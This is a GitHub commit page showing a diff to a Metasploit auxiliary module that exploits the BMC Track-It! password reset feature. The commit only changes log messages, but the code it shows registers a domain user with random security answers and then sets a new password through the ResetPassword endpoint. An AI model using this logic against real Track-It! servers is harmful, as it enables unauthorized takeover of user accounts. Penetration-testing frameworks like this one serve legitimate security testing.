Skip to content

Commit a013dbf

Browse files
committed
Correct and add more prints
1 parent 48dcfd9 commit a013dbf

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/auxiliary/gather/bmc_trackit_passwd_reset.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -115,7 +115,7 @@ def run_host(ip)
115115
end
116116

117117
full_user = "#{domain}\\#{localuser}"
118-
vprint_status("#{peer}: sending password reset request for #{full_user}")
118+
vprint_status("#{peer}: registering #{full_user}")
119119
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
120120
res = send_request_cgi(
121121
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
@@ -137,12 +137,12 @@ def run_host(ip)
137137
)
138138

139139
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
140-
print_error("#{peer}: Could not reset password for #{full_user}")
140+
print_error("#{peer}: Could not register #{full_user}")
141141
return
142142
end
143143

144+
vprint_status("#{peer}: changing password for #{full_user}")
144145
password = Rex::Text.rand_text_alpha(10) + "!1"
145-
146146
res = send_request_cgi(
147147
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
148148
'method' => 'POST',

0 commit comments

Comments
 (0)